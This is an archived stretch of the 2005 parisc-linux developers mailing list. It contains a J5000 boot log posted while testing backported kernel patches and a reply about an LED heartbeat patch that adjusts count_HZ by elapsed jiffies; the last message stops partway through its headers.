Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11EBA7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 15:10:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20138-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 15:10:52 -0700 (MST)
Original-Received: from blaster.systems.pipex.net (blaster.systems.pipex.net
	[62.241.163.7])
	by free.linux.hp.com (Postfix) with ESMTP id F04577D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 15:10:51 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by blaster.systems.pipex.net (Postfix) with ESMTP id 8C713E00013B;
	Sun, 27 Mar 2005 23:09:04 +0100 (BST)
User-Agent: KMail/1.7.2
In-Reply-To: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QEo1YkwneSE5+76WZHQhaXN2IGRvb0Di
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22518

--===============0650743443==
Content-Type: multipart/signed; boundary="nextPart2711293.7WC6fXtIWC";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2711293.7WC6fXtIWC
Content-Type: multipart/mixed;
  boundary="Boundary-01=_f7yRCg00yAOqkZo"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_f7yRCg00yAOqkZo
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 27 March 2005 21:45, Kyle McMartin wrote:
> Hi,
>
> I've backported some more patches to 2.6.8 for possible[1] inclusion in
> sarge (they fix some possibly important bits).

<snip>

> Please reply either to the list, or to me personally with the dmesg
> output from a boot, and what machine(s) you were able to test on.

Attached is the dmesg output from a J5000, with an EG graphics card.

The only thing I'm a bit curious about are these:

module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd =
in=20
17 bits)
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd =
in=20
17 bits)

Are these anything to worry about?

Cheers,

David

> Thanks,
>  Kyle

--Boundary-01=_f7yRCg00yAOqkZo
Content-Type: text/plain;
  charset="iso-8859-1";
  name="test_output"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="test_output"

01000 00002000 00004000 00008000 00010000 00020000 00040000 00080000 001000=
00 00200000 00400000 00800000 01000000 02000000 04000000 08000000 10000000 =
20000000 40000000 80000000 00000001 00000002 00000004 00000008 00000010 000=
00020 00000040
CPU8: offline
 domain 0: span ffffffff
  groups: 00000100 00000200 00000400 00000800 00001000 00002000 00004000 00=
008000 00010000 00020000 00040000 00080000 00100000 00200000 00400000 00800=
000 01000000 02000000 04000000 08000000 10000000 20000000 40000000 80000000=
 00000001 00000002 00000004 00000008 00000010 00000020 00000040 00000080
CPU9: offline
 domain 0: span ffffffff
  groups: 00000200 00000400 00000800 00001000 00002000 00004000 00008000 00=
010000 00020000 00040000 00080000 00100000 00200000 00400000 00800000 01000=
000 02000000 04000000 08000000 10000000 20000000 40000000 80000000 00000001=
 00000002 00000004 00000008 00000010 00000020 00000040 00000080 00000100
CPU10: offline
 domain 0: span ffffffff
  groups: 00000400 00000800 00001000 00002000 00004000 00008000 00010000 00=
020000 00040000 00080000 00100000 00200000 00400000 00800000 01000000 02000=
000 04000000 08000000 10000000 20000000 40000000 80000000 00000001 00000002=
 00000004 00000008 00000010 00000020 00000040 00000080 00000100 00000200
CPU11: offline
 domain 0: span ffffffff
  groups: 00000800 00001000 00002000 00004000 00008000 00010000 00020000 00=
040000 00080000 00100000 00200000 00400000 00800000 01000000 02000000 04000=
000 08000000 10000000 20000000 40000000 80000000 00000001 00000002 00000004=
 00000008 00000010 00000020 00000040 00000080 00000100 00000200 00000400
CPU12: offline
 domain 0: span ffffffff
  groups: 00001000 00002000 00004000 00008000 00010000 00020000 00040000 00=
080000 00100000 00200000 00400000 00800000 01000000 02000000 04000000 08000=
000 10000000 20000000 40000000 80000000 00000001 00000002 00000004 00000008=
 00000010 00000020 00000040 00000080 00000100 00000200 00000400 00000800
CPU13: offline
 domain 0: span ffffffff
  groups: 00002000 00004000 00008000 00010000 00020000 00040000 00080000 00=
100000 00200000 00400000 00800000 01000000 02000000 04000000 08000000 10000=
000 20000000 40000000 80000000 00000001 00000002 00000004 00000008 00000010=
 00000020 00000040 00000080 00000100 00000200 00000400 00000800 00001000
CPU14: offline
 domain 0: span ffffffff
  groups: 00004000 00008000 00010000 00020000 00040000 00080000 00100000 00=
200000 00400000 00800000 01000000 02000000 04000000 08000000 10000000 20000=
000 40000000 80000000 00000001 00000002 00000004 00000008 00000010 00000020=
 00000040 00000080 00000100 00000200 00000400 00000800 00001000 00002000
CPU15: offline
 domain 0: span ffffffff
  groups: 00008000 00010000 00020000 00040000 00080000 00100000 00200000 00=
400000 00800000 01000000 02000000 04000000 08000000 10000000 20000000 40000=
000 80000000 00000001 00000002 00000004 00000008 00000010 00000020 00000040=
 00000080 00000100 00000200 00000400 00000800 00001000 00002000 00004000
CPU16: offline
 domain 0: span ffffffff
  groups: 00010000 00020000 00040000 00080000 00100000 00200000 00400000 00=
800000 01000000 02000000 04000000 08000000 10000000 20000000 40000000 80000=
000 00000001 00000002 00000004 00000008 00000010 00000020 00000040 00000080=
 00000100 00000200 00000400 00000800 00001000 00002000 00004000 00008000
CPU17: offline
 domain 0: span ffffffff
  groups: 00020000 00040000 00080000 00100000 00200000 00400000 00800000 01=
000000 02000000 04000000 08000000 10000000 20000000 40000000 80000000 00000=
001 00000002 00000004 00000008 00000010 00000020 00000040 00000080 00000100=
 00000200 00000400 00000800 00001000 00002000 00004000 00008000 00010000
CPU18: offline
 domain 0: span ffffffff
  groups: 00040000 00080000 00100000 00200000 00400000 00800000 01000000 02=
000000 04000000 08000000 10000000 20000000 40000000 80000000 00000001 00000=
002 00000004 00000008 00000010 00000020 00000040 00000080 00000100 00000200=
 00000400 00000800 00001000 00002000 00004000 00008000 00010000 00020000
CPU19: offline
 domain 0: span ffffffff
  groups: 00080000 00100000 00200000 00400000 00800000 01000000 02000000 04=
000000 08000000 10000000 20000000 40000000 80000000 00000001 00000002 00000=
004 00000008 00000010 00000020 00000040 00000080 00000100 00000200 00000400=
 00000800 00001000 00002000 00004000 00008000 00010000 00020000 00040000
CPU20: offline
 domain 0: span ffffffff
  groups: 00100000 00200000 00400000 00800000 01000000 02000000 04000000 08=
000000 10000000 20000000 40000000 80000000 00000001 00000002 00000004 00000=
008 00000010 00000020 00000040 00000080 00000100 00000200 00000400 00000800=
 00001000 00002000 00004000 00008000 00010000 00020000 00040000 00080000
CPU21: offline
 domain 0: span ffffffff
  groups: 00200000 00400000 00800000 01000000 02000000 04000000 08000000 10=
000000 20000000 40000000 80000000 00000001 00000002 00000004 00000008 00000=
010 00000020 00000040 00000080 00000100 00000200 00000400 00000800 00001000=
 00002000 00004000 00008000 00010000 00020000 00040000 00080000 00100000
CPU22: offline
 domain 0: span ffffffff
  groups: 00400000 00800000 01000000 02000000 04000000 08000000 10000000 20=
000000 40000000 80000000 00000001 00000002 00000004 00000008 00000010 00000=
020 00000040 00000080 00000100 00000200 00000400 00000800 00001000 00002000=
 00004000 00008000 00010000 00020000 00040000 00080000 00100000 00200000
CPU23: offline
 domain 0: span ffffffff
  groups: 00800000 01000000 02000000 04000000 08000000 10000000 20000000 40=
000000 80000000 00000001 00000002 00000004 00000008 00000010 00000020 00000=
040 00000080 00000100 00000200 00000400 00000800 00001000 00002000 00004000=
 00008000 00010000 00020000 00040000 00080000 00100000 00200000 00400000
CPU24: offline
 domain 0: span ffffffff
  groups: 01000000 02000000 04000000 08000000 10000000 20000000 40000000 80=
000000 00000001 00000002 00000004 00000008 00000010 00000020 00000040 00000=
080 00000100 00000200 00000400 00000800 00001000 00002000 00004000 00008000=
 00010000 00020000 00040000 00080000 00100000 00200000 00400000 00800000
CPU25: offline
 domain 0: span ffffffff
  groups: 02000000 04000000 08000000 10000000 20000000 40000000 80000000 00=
000001 00000002 00000004 00000008 00000010 00000020 00000040 00000080 00000=
100 00000200 00000400 00000800 00001000 00002000 00004000 00008000 00010000=
 00020000 00040000 00080000 00100000 00200000 00400000 00800000 01000000
CPU26: offline
 domain 0: span ffffffff
  groups: 04000000 08000000 10000000 20000000 40000000 80000000 00000001 00=
000002 00000004 00000008 00000010 00000020 00000040 00000080 00000100 00000=
200 00000400 00000800 00001000 00002000 00004000 00008000 00010000 00020000=
 00040000 00080000 00100000 00200000 00400000 00800000 01000000 02000000
CPU27: offline
 domain 0: span ffffffff
  groups: 08000000 10000000 20000000 40000000 80000000 00000001 00000002 00=
000004 00000008 00000010 00000020 00000040 00000080 00000100 00000200 00000=
400 00000800 00001000 00002000 00004000 00008000 00010000 00020000 00040000=
 00080000 00100000 00200000 00400000 00800000 01000000 02000000 04000000
CPU28: offline
 domain 0: span ffffffff
  groups: 10000000 20000000 40000000 80000000 00000001 00000002 00000004 00=
000008 00000010 00000020 00000040 00000080 00000100 00000200 00000400 00000=
800 00001000 00002000 00004000 00008000 00010000 00020000 00040000 00080000=
 00100000 00200000 00400000 00800000 01000000 02000000 04000000 08000000
CPU29: offline
 domain 0: span ffffffff
  groups: 20000000 40000000 80000000 00000001 00000002 00000004 00000008 00=
000010 00000020 00000040 00000080 00000100 00000200 00000400 00000800 00001=
000 00002000 00004000 00008000 00010000 00020000 00040000 00080000 00100000=
 00200000 00400000 00800000 01000000 02000000 04000000 08000000 10000000
CPU30: offline
 domain 0: span ffffffff
  groups: 40000000 80000000 00000001 00000002 00000004 00000008 00000010 00=
000020 00000040 00000080 00000100 00000200 00000400 00000800 00001000 00002=
000 00004000 00008000 00010000 00020000 00040000 00080000 00100000 00200000=
 00400000 00800000 01000000 02000000 04000000 08000000 10000000 20000000
CPU31: offline
 domain 0: span ffffffff
  groups: 80000000 00000001 00000002 00000004 00000008 00000010 00000020 00=
000040 00000080 00000100 00000200 00000400 00000800 00001000 00002000 00004=
000 00008000 00010000 00020000 00040000 00080000 00100000 00200000 00400000=
 00800000 01000000 02000000 04000000 08000000 10000000 20000000 40000000
checking if image is initramfs...it isn't (ungzip failed); looks like an in=
itrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
=46ound devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W 2-way at 0xfffa0000 [32] { 0, 0x0, 0x5bd, 0x00004 }
8. Forte W 2-way at 0xfffa2000 [34] { 0, 0x0, 0x5bd, 0x00004 }
9. Memory at 0xfed10200 [49] { 1, 0x0, 0x088, 0x00009 }
Releasing cpu 1 now, hpa=3Dfffa2000
=46P[1] enabled: Rev 1 Model 16
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR2.1 (0x2) found at 0xfed30000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
PCI: Enabled native mode for NS87415 (pif=3D0x8f)
lba version TR2.1 (0x2) found at 0xfed32000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
iosapic: hpa not registered for 0000:01:06.0
lba version TR2.1 (0x2) found at 0xfed34000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
lba version TR2.1 (0x2) found at 0xfed38000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
lba version TR2.1 (0x2) found at 0xfed3c000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f4800000 (64 kB), fb at fa000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7,=
 mmio: 0xfa100000
unwind_init: start =3D 0x103b5720, end =3D 0x103d6f30, entries =3D 8577
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 64)=20
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Soft power switch enabled, polling @ 0xf0400804.
Console: switching to colour frame buffer device 128x48
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at I/O 0x3f8 (irq =3D 99) is a 16550A
ttyS1 at I/O 0x2f8 (irq =3D 100) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
NET: Registered protocol family 2
IP: routing cache hash table of 1024 buckets, 24Kbytes
TCP: Hash tables configured (established 32768 bind 52428)
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 5208 blocks [1 disk] into ram disk... |=08/=08-=08\=08|=08=
/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=
=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08=
=2D=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=
=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08=
\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=
=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08=
|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=
=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08=
/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=
=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08=
=2D=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=
=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08=
\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=
=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08=
|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=
=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08=
/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=08|=08/=08-=08\=
=08|=08/=08-=08\=08|=08/=08done.
VFS: Mounted root (cramfs filesystem) readonly.
=46reeing unused kernel memory: Badness in smp_call_function at arch/parisc=
/kernel/smp.c:342
Backtrace:
 [<1011963c>] smp_call_function+0x408/0x410
 [<101088dc>] flush_data_cache+0x24/0x40
 [<10107a38>] free_initmem+0x78/0x38c
 [<10103d30>] init+0x304/0x410
 [<10110c5c>] ret_from_kernel_thread+0x1c/0x24

344k freed
NET: Registered protocol family 1
sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
scsi0 : sym-2.1.18k
sym0: SCSI BUS has been reset.
Using anticipatory io scheduler
sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 65
sym1: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18k
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:3:0: tagged command queuing enabled, command queue depth 16.
scsi(1:0:3:0): Beginning Domain Validation
sym1:3: wide asynchronous.
sym1:3: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 15)
scsi(1:0:3:0): Domain Validation skipping write tests
scsi(1:0:3:0): Ending Domain Validation
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write back
 /dev/scsi/host1/bus0/target3/lun0: p1 p2 p3 < p5 p6 >
Attached scsi disk sda at scsi1, channel 0, id 3, lun 0
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
Adding 359400k swap on /dev/sda6.  Priority:-1 extents:1
EXT3 FS on sda5, internal journal
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xf4008000, 00:10:83:7B:E2:5B, IRQ 66.
8139too Fast Ethernet driver 0.9.27
eth1: RealTek RTL8139 at 0xf6000000, 00:c0:df:0c:2a:12, IRQ 128
eth1:  Identified 8139 chip type 'RTL-8139C'
usbcore: registered new driver hub
ohci_hcd: 2004 Feb 02 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
ohci_hcd 0000:00:0e.2: National Semiconductor Corporation USB Controller
ohci_hcd 0000:00:0e.2: irq 97, pci mem f4007000
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: Using NSC SuperIO setup
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
usb 1-1: new full speed USB device using address 2
hub 1-1:1.0: USB hub found
hub 1-1:1.0: 3 ports detected
usb 1-1.1: new full speed USB device using address 3
usbcore: registered new driver hiddev
input: USB HID v1.00 Keyboard [Chicony  PFU-65 USB Keyboard] on usb-0000:00=
:0e.2-1.1
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.0:USB HID core driver
8139cp: 10/100 PCI Ethernet driver v1.2 (Mar 22, 2004)
USB Universal Host Controller Interface driver v2.2
NET: Registered protocol family 17
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
eth1: link down
parport_pc: Unknown symbol dma_spin_lock
lp: driver loaded but no devices found
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd =
in 17 bits)
module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefffd =
in 17 bits)

--Boundary-01=_f7yRCg00yAOqkZo--

--nextPart2711293.7WC6fXtIWC
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRy7gOIrGtzS07WgRAu59AJ0X6sPc47cnKCD+MPtoEqEW7G9hPgCbB7X0
9nHxtBV53RllJLCkcNf95Uc=
=LWxm
-----END PGP SIGNATURE-----

--nextPart2711293.7WC6fXtIWC--

--===============0650743443==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0650743443==--



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sun, 27 Mar 2005 18:51:06 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20050328015106.GB30963@colo.lackof.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<20050327085330.GA17602@colo.lackof.org>
	<200503271038.42434.dmp@davidmpye.dyndns.org>
	<200503271855.56304.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623723 13542 80.91.229.3 (22 Nov 2014 02:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 01:49:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 28 Mar 2005 03:49:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89A1C7D691;
	Sun, 27 Mar 2005 18:51:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20597-09; Sun, 27 Mar 2005 18:51:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D1127D697;
	Sun, 27 Mar 2005 18:51:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DDC97D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 18:50:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20597-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 18:50:56 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A382F7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 18:50:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3443F29803F;
	Sun, 27 Mar 2005 18:51:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30845-09; Sun, 27 Mar 2005 18:51:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CE818298010; Sun, 27 Mar 2005 18:51:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503271855.56304.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +wc1YjVleSE5+76WZHQhaXN2IGRvbwDw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22519

On Sun, Mar 27, 2005 at 05:55:53PM +0000, David Pye wrote:
> Could I ask you to have a glance at this patch? It's based on your previous 
> one, and only has a very minor change to the way count_HZ is incremented - ie 
> increment by the actual jiffies past, not the number we asked to be 
> rescheduled in.

Funny you point that out. I was thinking about it yesterday before I posted
the patch but was "too lazy" to figure out how to do it.

(TBH, I had several other things going on).

> On my system, the heart now beats regularly under IO/LAN traffic!

Cool!

> -	/* increment the local counters */
> -	++count;
> -	if (++count_HZ == HZ)
> +	/* increment the local counter */
> +	count_HZ += jiffies - last_jiffies;
> +	if (count_HZ >= HZ)
>  	    count_HZ = 0;
> -
> -	currentleds = lastleds;
> +	last_jiffies = jiffies;

Yeah, I'll add this bit, try it out and commit.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sun, 27 Mar 2005 19:13:10 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20050328021310.GC30963@colo.lackof.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503261514.43287.dmp@davidmpye.dyndns.org>
	<20050327085330.GA17602@colo.lackof.org>
	<200503271038.42434.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623723 13546 80.91.229.3 (22 Nov 2014 02:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 02:11:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 28 Mar 2005 04:11:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
